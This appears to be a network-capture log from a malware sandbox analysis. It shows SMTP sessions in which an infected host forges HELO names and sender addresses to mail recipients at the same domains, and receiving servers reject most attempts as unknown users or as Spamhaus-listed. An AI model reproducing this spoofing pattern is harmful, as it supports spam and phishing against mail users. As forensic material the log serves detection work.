Jan 7, 2022 15:56:51.423546076 CET	49829	25	192.168.2.4	34.215.215.23	. QUIT
Jan 7, 2022 15:56:51.427261114 CET	25	49848	74.125.200.27	192.168.2.4	220 mx.google.com ESMTP q4si4834295pls.93 - gsmtp
Jan 7, 2022 15:56:51.427459002 CET	49848	25	192.168.2.4	74.125.200.27	HELO alt2.aspmx.l.google.com
Jan 7, 2022 15:56:51.576234102 CET	25	49849	173.194.202.26	192.168.2.4	220 mx.google.com ESMTP m12si5102325pgp.231 - gsmtp
Jan 7, 2022 15:56:51.576451063 CET	49849	25	192.168.2.4	173.194.202.26	HELO aspmx5.googlemail.com
Jan 7, 2022 15:56:51.616668940 CET	25	49844	142.250.157.26	192.168.2.4	221 2.0.0 closing connection y2si3601272plg.161 - gsmtp
Jan 7, 2022 15:56:51.723267078 CET	25	49829	34.215.215.23	192.168.2.4	250 2.0.0 Ok: queued as 8BEC52027D 221 2.0.0 Bye
Jan 7, 2022 15:56:51.773663044 CET	25	49849	173.194.202.26	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:56:51.773802042 CET	49849	25	192.168.2.4	173.194.202.26	MAIL FROM: <serv@contoso.es>
Jan 7, 2022 15:56:51.803251028 CET	25	49850	104.47.56.110	192.168.2.4	220 DM3NAM02FT029.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:45 +0000
Jan 7, 2022 15:56:51.803368092 CET	49850	25	192.168.2.4	104.47.56.110	HELO contoso-com.mail.protection.outlook.com
Jan 7, 2022 15:56:51.930358887 CET	25	49848	74.125.200.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:56:51.930952072 CET	49848	25	192.168.2.4	74.125.200.27	MAIL FROM: <serv@xyz.com>
Jan 7, 2022 15:56:51.934885979 CET	25	49850	104.47.56.110	192.168.2.4	250 DM3NAM02FT029.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:51.935065031 CET	49850	25	192.168.2.4	104.47.56.110	MAIL FROM: <serv@contoso.com>
Jan 7, 2022 15:56:51.968332052 CET	25	49849	173.194.202.26	192.168.2.4	250 2.1.0 OK m12si5102325pgp.231 - gsmtp
Jan 7, 2022 15:56:51.968461037 CET	49849	25	192.168.2.4	173.194.202.26	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:56:52.067368984 CET	25	49850	104.47.56.110	192.168.2.4	250 2.1.0 Sender OK
Jan 7, 2022 15:56:52.067595959 CET	49850	25	192.168.2.4	104.47.56.110	RCPT TO: <andreas@contoso.com>
Jan 7, 2022 15:56:52.171691895 CET	25	49849	173.194.202.26	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser m12si5102325pgp.231 - gsmtp
Jan 7, 2022 15:56:52.171925068 CET	49849	25	192.168.2.4	173.194.202.26	QUIT
Jan 7, 2022 15:56:52.199593067 CET	25	49850	104.47.56.110	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [DM3NAM02FT029.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:56:52.199712992 CET	49850	25	192.168.2.4	104.47.56.110	QUIT
Jan 7, 2022 15:56:52.277909040 CET	25	49851	142.250.150.27	192.168.2.4	220 mx.google.com ESMTP by14si6882690ljb.231 - gsmtp
Jan 7, 2022 15:56:52.278007030 CET	49851	25	192.168.2.4	142.250.150.27	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:56:52.331172943 CET	25	49850	104.47.56.110	192.168.2.4	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:56:52.333312035 CET	25	49851	142.250.150.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:56:52.333462954 CET	49851	25	192.168.2.4	142.250.150.27	MAIL FROM: <serv@contoso.es>
Jan 7, 2022 15:56:52.366637945 CET	25	49849	173.194.202.26	192.168.2.4	221 2.0.0 closing connection m12si5102325pgp.231 - gsmtp
Jan 7, 2022 15:56:52.386061907 CET	25	49851	142.250.150.27	192.168.2.4	250 2.1.0 OK by14si6882690ljb.231 - gsmtp
Jan 7, 2022 15:56:52.386246920 CET	49851	25	192.168.2.4	142.250.150.27	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:56:52.433907986 CET	25	49848	74.125.200.27	192.168.2.4	250 2.1.0 OK q4si4834295pls.93 - gsmtp
Jan 7, 2022 15:56:52.434031963 CET	49848	25	192.168.2.4	74.125.200.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:56:52.447822094 CET	25	49851	142.250.150.27	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser by14si6882690ljb.231 - gsmtp
Jan 7, 2022 15:56:52.447947025 CET	49851	25	192.168.2.4	142.250.150.27	QUIT
Jan 7, 2022 15:56:52.502542019 CET	25	49853	142.250.153.27	192.168.2.4	220 mx.google.com ESMTP d7si2416509ejc.544 - gsmtp
Jan 7, 2022 15:56:52.502661943 CET	49853	25	192.168.2.4	142.250.153.27	HELO aspmx.l.google.com
Jan 7, 2022 15:56:52.547787905 CET	25	49853	142.250.153.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:56:52.547919989 CET	49853	25	192.168.2.4	142.250.153.27	MAIL FROM: <serv@contoso.es>
Jan 7, 2022 15:56:52.574769974 CET	25	49853	142.250.153.27	192.168.2.4	250 2.1.0 OK d7si2416509ejc.544 - gsmtp
Jan 7, 2022 15:56:52.574899912 CET	49853	25	192.168.2.4	142.250.153.27	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:56:52.609392881 CET	25	49853	142.250.153.27	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser d7si2416509ejc.544 - gsmtp
Jan 7, 2022 15:56:52.609507084 CET	49853	25	192.168.2.4	142.250.153.27	QUIT
Jan 7, 2022 15:56:52.636176109 CET	25	49853	142.250.153.27	192.168.2.4	221 2.0.0 closing connection d7si2416509ejc.544 - gsmtp
Jan 7, 2022 15:56:52.948273897 CET	25	49848	74.125.200.27	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser q4si4834295pls.93 - gsmtp
Jan 7, 2022 15:56:52.948888063 CET	49848	25	192.168.2.4	74.125.200.27	QUIT
Jan 7, 2022 15:56:53.264631987 CET	25	49855	104.47.51.110	192.168.2.4	220 BN1NAM02FT005.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:52 +0000
Jan 7, 2022 15:56:53.264796972 CET	49855	25	192.168.2.4	104.47.51.110	HELO contoso-com.mail.protection.outlook.com
Jan 7, 2022 15:56:53.367634058 CET	25	49855	104.47.51.110	192.168.2.4	250 BN1NAM02FT005.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:53.367758036 CET	49855	25	192.168.2.4	104.47.51.110	MAIL FROM: <secur@contoso.com>
Jan 7, 2022 15:56:53.471245050 CET	25	49855	104.47.51.110	192.168.2.4	250 2.1.0 Sender OK
Jan 7, 2022 15:56:53.471371889 CET	49855	25	192.168.2.4	104.47.51.110	RCPT TO: <jukka@contoso.com>
Jan 7, 2022 15:56:53.574677944 CET	25	49855	104.47.51.110	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [BN1NAM02FT005.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:56:53.574815989 CET	49855	25	192.168.2.4	104.47.51.110	QUIT
Jan 7, 2022 15:56:53.677409887 CET	25	49855	104.47.51.110	192.168.2.4	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:57:03.940185070 CET	25	49857	193.239.68.121	192.168.2.4	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:57:03 +0200
Jan 7, 2022 15:57:03.940306902 CET	49857	25	192.168.2.4	193.239.68.121	HELO mx1.bigmir.net
Jan 7, 2022 15:57:03.985419035 CET	25	49857	193.239.68.121	192.168.2.4	250 bst01.sputnikmedia.net Hello mx1.bigmir.net [102.129.143.96]
Jan 7, 2022 15:57:03.985568047 CET	49857	25	192.168.2.4	193.239.68.121	MAIL FROM: <brent.clark@mail.com>
Jan 7, 2022 15:57:04.030703068 CET	25	49857	193.239.68.121	192.168.2.4	250 OK
Jan 7, 2022 15:57:04.030985117 CET	49857	25	192.168.2.4	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:57:09.021562099 CET	25	49845	193.239.68.121	192.168.2.4	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:57:09.022845030 CET	49845	25	192.168.2.4	193.239.68.121	QUIT
Jan 7, 2022 15:57:09.024152040 CET	25	49857	193.239.68.121	192.168.2.4	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:57:09.024313927 CET	49857	25	192.168.2.4	193.239.68.121	QUIT
Jan 7, 2022 15:57:09.065172911 CET	25	49845	193.239.68.121	192.168.2.4	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:57:09.069297075 CET	25	49857	193.239.68.121	192.168.2.4	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:57:09.123331070 CET	25	49861	193.239.68.121	192.168.2.4	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:57:09 +0200
Jan 7, 2022 15:57:09.123760939 CET	49861	25	192.168.2.4	193.239.68.121	HELO mx3.bigmir.net
Jan 7, 2022 15:57:09.130016088 CET	25	49862	193.239.68.121	192.168.2.4	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:57:09 +0200
Jan 7, 2022 15:57:09.130753994 CET	49862	25	192.168.2.4	193.239.68.121	HELO mx3.bigmir.net
Jan 7, 2022 15:57:09.168425083 CET	25	49861	193.239.68.121	192.168.2.4	250 bst01.sputnikmedia.net Hello mx3.bigmir.net [102.129.143.96]
Jan 7, 2022 15:57:09.168577909 CET	49861	25	192.168.2.4	193.239.68.121	MAIL FROM: <serv@bigmir.net>
Jan 7, 2022 15:57:09.178337097 CET	25	49862	193.239.68.121	192.168.2.4	250 bst01.sputnikmedia.net Hello mx3.bigmir.net [102.129.143.96]
Jan 7, 2022 15:57:09.178966999 CET	49862	25	192.168.2.4	193.239.68.121	MAIL FROM: <brent.clark@mail.com>
Jan 7, 2022 15:57:09.213063002 CET	25	49861	193.239.68.121	192.168.2.4	250 OK
Jan 7, 2022 15:57:09.213323116 CET	49861	25	192.168.2.4	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:57:09.226824045 CET	25	49862	193.239.68.121	192.168.2.4	250 OK
Jan 7, 2022 15:57:09.226963043 CET	49862	25	192.168.2.4	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:57:09.258928061 CET	25	49861	193.239.68.121	192.168.2.4	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:57:09.259073973 CET	49861	25	192.168.2.4	193.239.68.121	QUIT
Jan 7, 2022 15:57:09.275284052 CET	25	49862	193.239.68.121	192.168.2.4	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:57:09.276187897 CET	49862	25	192.168.2.4	193.239.68.121	QUIT
Jan 7, 2022 15:57:09.303560019 CET	25	49861	193.239.68.121	192.168.2.4	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:57:09.323648930 CET	25	49862	193.239.68.121	192.168.2.4	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:57:09.607376099 CET	25	49865	104.47.56.110	192.168.2.4	220 DM3NAM02FT017.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:57:03 +0000
Jan 7, 2022 15:57:09.607537985 CET	49865	25	192.168.2.4	104.47.56.110	HELO contoso-com.mail.protection.outlook.com
Jan 7, 2022 15:57:09.739185095 CET	25	49865	104.47.56.110	192.168.2.4	250 DM3NAM02FT017.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:57:09.739810944 CET	49865	25	192.168.2.4	104.47.56.110	MAIL FROM: <secur@contoso.com>
Jan 7, 2022 15:57:09.873035908 CET	25	49865	104.47.56.110	192.168.2.4	250 2.1.0 Sender OK
Jan 7, 2022 15:57:09.873138905 CET	49865	25	192.168.2.4	104.47.56.110	RCPT TO: <quinque@contoso.com>
Jan 7, 2022 15:57:10.007112980 CET	25	49865	104.47.56.110	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [DM3NAM02FT017.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:57:10.008686066 CET	49865	25	192.168.2.4	104.47.56.110	QUIT
Jan 7, 2022 15:57:10.140016079 CET	25	49865	104.47.56.110	192.168.2.4	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:57:10.392544985 CET	25	49869	138.201.223.6	192.168.2.4	451 Temporary local problem - please try later
Jan 7, 2022 15:57:10.541277885 CET	25	49870	130.193.9.47	192.168.2.4	550 Reverse lookup of your IP failed
Jan 7, 2022 15:57:10.932691097 CET	25	49871	142.250.150.27	192.168.2.4	220 mx.google.com ESMTP v19si4980917ljc.460 - gsmtp
Jan 7, 2022 15:57:10.932826042 CET	49871	25	192.168.2.4	142.250.150.27	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:57:10.988523960 CET	25	49871	142.250.150.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:10.988673925 CET	49871	25	192.168.2.4	142.250.150.27	MAIL FROM: <serv@fb.cz>
Jan 7, 2022 15:57:11.041682005 CET	25	49871	142.250.150.27	192.168.2.4	250 2.1.0 OK v19si4980917ljc.460 - gsmtp
Jan 7, 2022 15:57:11.041794062 CET	49871	25	192.168.2.4	142.250.150.27	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:57:11.101676941 CET	25	49871	142.250.150.27	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser v19si4980917ljc.460 - gsmtp
Jan 7, 2022 15:57:11.101833105 CET	49871	25	192.168.2.4	142.250.150.27	QUIT
Jan 7, 2022 15:57:11.208913088 CET	25	49872	142.250.150.27	192.168.2.4	220 mx.google.com ESMTP i20si5696162lfe.365 - gsmtp
Jan 7, 2022 15:57:11.209264994 CET	49872	25	192.168.2.4	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:57:11.265324116 CET	25	49872	142.250.150.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:11.265525103 CET	49872	25	192.168.2.4	142.250.150.27	MAIL FROM: <serv@fb.cz>
Jan 7, 2022 15:57:11.318320990 CET	25	49872	142.250.150.27	192.168.2.4	250 2.1.0 OK i20si5696162lfe.365 - gsmtp
Jan 7, 2022 15:57:11.319036961 CET	49872	25	192.168.2.4	142.250.150.27	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:57:11.381639957 CET	25	49872	142.250.150.27	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser i20si5696162lfe.365 - gsmtp
Jan 7, 2022 15:57:11.381886005 CET	49872	25	192.168.2.4	142.250.150.27	QUIT
Jan 7, 2022 15:57:11.436654091 CET	25	49873	142.250.153.27	192.168.2.4	220 mx.google.com ESMTP i21si3109667edc.542 - gsmtp
Jan 7, 2022 15:57:11.436790943 CET	49873	25	192.168.2.4	142.250.153.27	HELO aspmx.l.google.com
Jan 7, 2022 15:57:11.465923071 CET	25	49873	142.250.153.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:11.466084957 CET	49873	25	192.168.2.4	142.250.153.27	MAIL FROM: <serv@fb.cz>
Jan 7, 2022 15:57:11.493041039 CET	25	49873	142.250.153.27	192.168.2.4	250 2.1.0 OK i21si3109667edc.542 - gsmtp
Jan 7, 2022 15:57:11.493206978 CET	49873	25	192.168.2.4	142.250.153.27	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:57:11.538518906 CET	25	49873	142.250.153.27	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser i21si3109667edc.542 - gsmtp
Jan 7, 2022 15:57:11.538641930 CET	49873	25	192.168.2.4	142.250.153.27	QUIT
Jan 7, 2022 15:57:11.565320969 CET	25	49873	142.250.153.27	192.168.2.4	221 2.0.0 closing connection i21si3109667edc.542 - gsmtp
Jan 7, 2022 15:57:11.785881042 CET	25	49874	54.83.87.114	192.168.2.4	220 mail555.messagelabs.com ESMTP Fri, 07 Jan 2022 14:57:11 +0000
Jan 7, 2022 15:57:11.786109924 CET	49874	25	192.168.2.4	54.83.87.114	HELO cluster10a.us.messagelabs.com
Jan 7, 2022 15:57:11.923939943 CET	25	49874	54.83.87.114	192.168.2.4	250 mail555.messagelabs.com Hello cluster10a.us.messagelabs.com [100.112.12.34]
Jan 7, 2022 15:57:11.924081087 CET	49874	25	192.168.2.4	54.83.87.114	MAIL FROM: <serv@abc.org>
Jan 7, 2022 15:57:12.061985970 CET	25	49874	54.83.87.114	192.168.2.4	250 OK
Jan 7, 2022 15:57:12.062148094 CET	49874	25	192.168.2.4	54.83.87.114	RCPT TO: <john.smith@abc.org>
Jan 7, 2022 15:57:12.200100899 CET	25	49874	54.83.87.114	192.168.2.4	421 Service Temporarily Unavailable
Jan 7, 2022 15:57:12.200262070 CET	49874	25	192.168.2.4	54.83.87.114	QUIT
Jan 7, 2022 15:57:12.338582039 CET	25	49874	54.83.87.114	192.168.2.4	221 mail555.messagelabs.com closing connection
Jan 7, 2022 15:57:12.391422033 CET	25	49875	74.125.200.27	192.168.2.4	220 mx.google.com ESMTP p4si4952851plw.95 - gsmtp
Jan 7, 2022 15:57:12.391582012 CET	49875	25	192.168.2.4	74.125.200.27	HELO alt2.aspmx.l.google.com
Jan 7, 2022 15:57:12.500880003 CET	25	49876	67.219.247.199	192.168.2.4	450 Requested action aborted [7.2] 70707, please visit https://knowledge.broadcom.com/external/article?legacyId=TECH246726 for more details about this error message.
Jan 7, 2022 15:57:12.895366907 CET	25	49875	74.125.200.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:12.895522118 CET	49875	25	192.168.2.4	74.125.200.27	MAIL FROM: <serv@fb.cz>
Jan 7, 2022 15:57:13.174806118 CET	25	49877	34.223.6.127	192.168.2.4	220 ip-10-130-0-33 ESMTP Haraka/2.8.20 ready
Jan 7, 2022 15:57:13.175239086 CET	49877	25	192.168.2.4	34.223.6.127	HELO mail.h-email.net
Jan 7, 2022 15:57:13.367007017 CET	25	49877	34.223.6.127	192.168.2.4	250 ip-10-130-0-33 Hello [102.129.143.96], Haraka is at your service.
Jan 7, 2022 15:57:13.367247105 CET	49877	25	192.168.2.4	34.223.6.127	MAIL FROM: <serv@cineva.com>
Jan 7, 2022 15:57:13.399712086 CET	25	49875	74.125.200.27	192.168.2.4	250 2.1.0 OK p4si4952851plw.95 - gsmtp
Jan 7, 2022 15:57:13.399895906 CET	49875	25	192.168.2.4	74.125.200.27	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:57:13.559071064 CET	25	49877	34.223.6.127	192.168.2.4	250 sender <serv@cineva.com> OK
Jan 7, 2022 15:57:13.559263945 CET	49877	25	192.168.2.4	34.223.6.127	RCPT TO: <xqy-oricine@cineva.com>
Jan 7, 2022 15:57:13.750967979 CET	25	49877	34.223.6.127	192.168.2.4	250 recipient <xqy-oricine@cineva.com> OK
Jan 7, 2022 15:57:13.751060009 CET	49877	25	192.168.2.4	34.223.6.127	DATA
Jan 7, 2022 15:57:13.910854101 CET	25	49875	74.125.200.27	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser p4si4952851plw.95 - gsmtp
Jan 7, 2022 15:57:13.910994053 CET	49875	25	192.168.2.4	74.125.200.27	QUIT
Jan 7, 2022 15:57:13.942923069 CET	25	49877	34.223.6.127	192.168.2.4	354 go ahead, make my day
Jan 7, 2022 15:57:14.414216042 CET	25	49875	74.125.200.27	192.168.2.4	221 2.0.0 closing connection p4si4952851plw.95 - gsmtp
Jan 7, 2022 15:57:14.763818979 CET	25	49879	74.125.200.27	192.168.2.4	220 mx.google.com ESMTP az22si647361pjb.65 - gsmtp
Jan 7, 2022 15:57:14.764410019 CET	49879	25	192.168.2.4	74.125.200.27	HELO aspmx3.googlemail.com
Jan 7, 2022 15:57:15.273226976 CET	25	49879	74.125.200.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:15.273374081 CET	49879	25	192.168.2.4	74.125.200.27	MAIL FROM: <serv@fb.cz>
Jan 7, 2022 15:57:15.288141012 CET	25	49881	104.47.17.74	192.168.2.4	220 DB8EUR05FT053.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:57:15 +0000
Jan 7, 2022 15:57:15.288285971 CET	49881	25	192.168.2.4	104.47.17.74	HELO domini-cat.mail.protection.outlook.com
Jan 7, 2022 15:57:15.293613911 CET	49877	25	192.168.2.4	34.223.6.127	. QUIT
Jan 7, 2022 15:57:15.329401970 CET	25	49881	104.47.17.74	192.168.2.4	250 DB8EUR05FT053.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:57:15.329591036 CET	49881	25	192.168.2.4	104.47.17.74	MAIL FROM: <betty.adams@mail.aim.com>
Jan 7, 2022 15:57:15.371473074 CET	25	49881	104.47.17.74	192.168.2.4	250 2.1.0 Sender OK
Jan 7, 2022 15:57:15.371694088 CET	49881	25	192.168.2.4	104.47.17.74	RCPT TO: <secretaria@domini.cat>
Jan 7, 2022 15:57:15.413307905 CET	25	49881	104.47.17.74	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [DB8EUR05FT053.eop-eur05.prod.protection.outlook.com]
Jan 7, 2022 15:57:15.413419008 CET	49881	25	192.168.2.4	104.47.17.74	QUIT
Jan 7, 2022 15:57:15.454351902 CET	25	49881	104.47.17.74	192.168.2.4	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:57:15.518062115 CET	25	49883	194.97.150.230	192.168.2.4	220-mta.openssl.org ESMTP Postfix
Jan 7, 2022 15:57:15.519093037 CET	49883	25	192.168.2.4	194.97.150.230	HELO mta.openssl.org
Jan 7, 2022 15:57:15.537031889 CET	25	49883	194.97.150.230	192.168.2.4	220 mta.openssl.org ESMTP Postfix
Jan 7, 2022 15:57:15.537648916 CET	49883	25	192.168.2.4	194.97.150.230	QUIT
Jan 7, 2022 15:57:15.541676044 CET	25	49882	142.250.145.27	192.168.2.4	220 mx.google.com ESMTP eb9si3042357edb.277 - gsmtp
Jan 7, 2022 15:57:15.541843891 CET	49882	25	192.168.2.4	142.250.145.27	HELO aspmx.l.google.com
Jan 7, 2022 15:57:15.553133965 CET	25	49883	194.97.150.230	192.168.2.4	250 mta.openssl.org
Jan 7, 2022 15:57:15.553677082 CET	25	49883	194.97.150.230	192.168.2.4	221 2.0.0 Bye
Jan 7, 2022 15:57:15.570857048 CET	25	49882	142.250.145.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:15.571014881 CET	49882	25	192.168.2.4	142.250.145.27	MAIL FROM: <sec@kinoho.net>
Jan 7, 2022 15:57:15.598021984 CET	25	49882	142.250.145.27	192.168.2.4	250 2.1.0 OK eb9si3042357edb.277 - gsmtp
Jan 7, 2022 15:57:15.598959923 CET	49882	25	192.168.2.4	142.250.145.27	RCPT TO: <greg@kinoho.net>
Jan 7, 2022 15:57:15.631593943 CET	25	49882	142.250.145.27	192.168.2.4	450-4.2.1 The user you are trying to contact is receiving mail at a rate that 450-4.2.1 prevents additional messages from being delivered. Please resend your 450-4.2.1 message at a later time. If the user is able to receive mail at that 450-4.2.1 time, your message will be delivered. For more information, please 450-4.2.1 visit 450 4.2.1 https://support.google.com/mail/?p=ReceivingRate eb9si3042357edb.277 - gsmtp
Jan 7, 2022 15:57:15.631727934 CET	49882	25	192.168.2.4	142.250.145.27	QUIT
Jan 7, 2022 15:57:15.658844948 CET	25	49882	142.250.145.27	192.168.2.4	221 2.0.0 closing connection eb9si3042357edb.277 - gsmtp
Jan 7, 2022 15:57:15.740283012 CET	25	49884	142.250.150.27	192.168.2.4	220 mx.google.com ESMTP k23si4779097lfe.240 - gsmtp
Jan 7, 2022 15:57:15.740418911 CET	49884	25	192.168.2.4	142.250.150.27	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:57:15.777736902 CET	25	49879	74.125.200.27	192.168.2.4	250 2.1.0 OK az22si647361pjb.65 - gsmtp
Jan 7, 2022 15:57:15.781658888 CET	49879	25	192.168.2.4	74.125.200.27	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:57:15.795114994 CET	25	49884	142.250.150.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:15.795274973 CET	49884	25	192.168.2.4	142.250.150.27	MAIL FROM: <sec@kinoho.net>
Jan 7, 2022 15:57:15.847682953 CET	25	49884	142.250.150.27	192.168.2.4	250 2.1.0 OK k23si4779097lfe.240 - gsmtp
Jan 7, 2022 15:57:15.848251104 CET	49884	25	192.168.2.4	142.250.150.27	RCPT TO: <greg@kinoho.net>
Jan 7, 2022 15:57:15.907218933 CET	25	49884	142.250.150.27	192.168.2.4	450-4.2.1 The user you are trying to contact is receiving mail at a rate that 450-4.2.1 prevents additional messages from being delivered. Please resend your 450-4.2.1 message at a later time. If the user is able to receive mail at that 450-4.2.1 time, your message will be delivered. For more information, please 450-4.2.1 visit 450 4.2.1 https://support.google.com/mail/?p=ReceivingRate k23si4779097lfe.240 - gsmtp
Jan 7, 2022 15:57:15.907399893 CET	49884	25	192.168.2.4	142.250.150.27	QUIT
Jan 7, 2022 15:57:16.016287088 CET	25	49886	142.250.150.27	192.168.2.4	220 mx.google.com ESMTP d8si4755398lfa.31 - gsmtp
Jan 7, 2022 15:57:16.016412020 CET	49886	25	192.168.2.4	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:57:16.071609974 CET	25	49886	142.250.150.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:57:16.072019100 CET	49886	25	192.168.2.4	142.250.150.27	MAIL FROM: <sec@kinoho.net>
Jan 7, 2022 15:57:16.124953032 CET	25	49886	142.250.150.27	192.168.2.4	250 2.1.0 OK d8si4755398lfa.31 - gsmtp
Jan 7, 2022 15:57:16.128223896 CET	49886	25	192.168.2.4	142.250.150.27	RCPT TO: <greg@kinoho.net>
Jan 7, 2022 15:57:16.188260078 CET	25	49886	142.250.150.27	192.168.2.4	450-4.2.1 The user you are trying to contact is receiving mail at a rate that 450-4.2.1 prevents additional messages from being delivered. Please resend your 450-4.2.1 message at a later time. If the user is able to receive mail at that 450-4.2.1 time, your message will be delivered. For more information, please 450-4.2.1 visit 450 4.2.1 https://support.google.com/mail/?p=ReceivingRate d8si4755398lfa.31 - gsmtp
Jan 7, 2022 15:57:16.191445112 CET	49886	25	192.168.2.4	142.250.150.27	QUIT
Jan 7, 2022 15:57:16.244081020 CET	25	49886	142.250.150.27	192.168.2.4	221 2.0.0 closing connection d8si4755398lfa.31 - gsmtp
Jan 7, 2022 15:57:16.294610023 CET	25	49879	74.125.200.27	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser az22si647361pjb.65 - gsmtp
Jan 7, 2022 15:57:16.294815063 CET	49879	25	192.168.2.4	74.125.200.27	QUIT
Jan 7, 2022 15:57:16.671698093 CET	25	49885	74.125.200.26	192.168.2.4	220 mx.google.com ESMTP y15si5367366plp.88 - gsmtp
Jan 7, 2022 15:57:16.674228907 CET	49885	25	192.168.2.4	74.125.200.26	HELO alt2.aspmx.l.google.com
Jan 7, 2022 15:57:16.798975945 CET	25	49879	74.125.200.27	192.168.2.4	221 2.0.0 closing connection az22si647361pjb.65 - gsmtp
Jan 7, 2022 15:57:17.041606903 CET	25	49887	74.125.200.27	192.168.2.4	220 mx.google.com ESMTP k2si4904111pgq.560 - gsmtp
Jan 7, 2022 15:57:17.041750908 CET	49887	25	192.168.2.4	74.125.200.27	HELO alt2.aspmx.l.google.com
